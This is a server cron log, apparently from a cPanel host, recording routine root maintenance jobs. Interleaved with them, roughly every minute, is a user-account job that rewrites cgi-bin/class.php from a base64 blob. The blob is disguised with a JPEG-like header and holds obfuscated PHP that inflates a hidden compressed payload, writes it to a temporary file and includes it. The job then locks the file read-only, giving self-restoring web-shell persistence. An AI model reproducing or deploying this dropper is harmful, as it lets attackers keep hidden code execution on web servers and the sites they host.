Sep  1 01:38:01 server CROND[32370]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:39:01 server CROND[32738]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:39:01 server CROND[32739]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 01:39:01 server CROND[32740]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:39:01 server CROND[32741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:40:01 server CROND[678]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 01:40:01 server CROND[679]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 01:40:01 server CROND[685]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:40:01 server CROND[696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:40:01 server CROND[705]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 01:40:01 server CROND[707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:40:01 server CROND[706]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 01:40:01 server CROND[708]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 01:41:01 server CROND[1624]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:41:01 server CROND[1626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:41:01 server CROND[1625]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:42:01 server CROND[2112]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 01:42:01 server CROND[2113]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:42:01 server CROND[2114]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:42:01 server CROND[2115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:43:01 server CROND[2504]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:43:01 server CROND[2505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:43:01 server CROND[2506]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:44:01 server CROND[2917]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:44:01 server CROND[2918]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:44:01 server CROND[2920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:45:01 server CROND[3292]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 01:45:01 server CROND[3294]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 01:45:01 server CROND[3309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:45:01 server CROND[3312]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:45:01 server CROND[3314]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:45:01 server CROND[3313]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 01:45:01 server CROND[3311]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 01:46:01 server CROND[4110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:46:01 server CROND[4111]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:46:01 server CROND[4113]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:47:01 server CROND[4477]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:47:01 server CROND[4478]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:47:01 server CROND[4479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:48:01 server CROND[4940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:48:01 server CROND[4941]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:48:01 server CROND[4942]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:49:01 server CROND[5324]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:49:01 server CROND[5325]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:49:01 server CROND[5326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
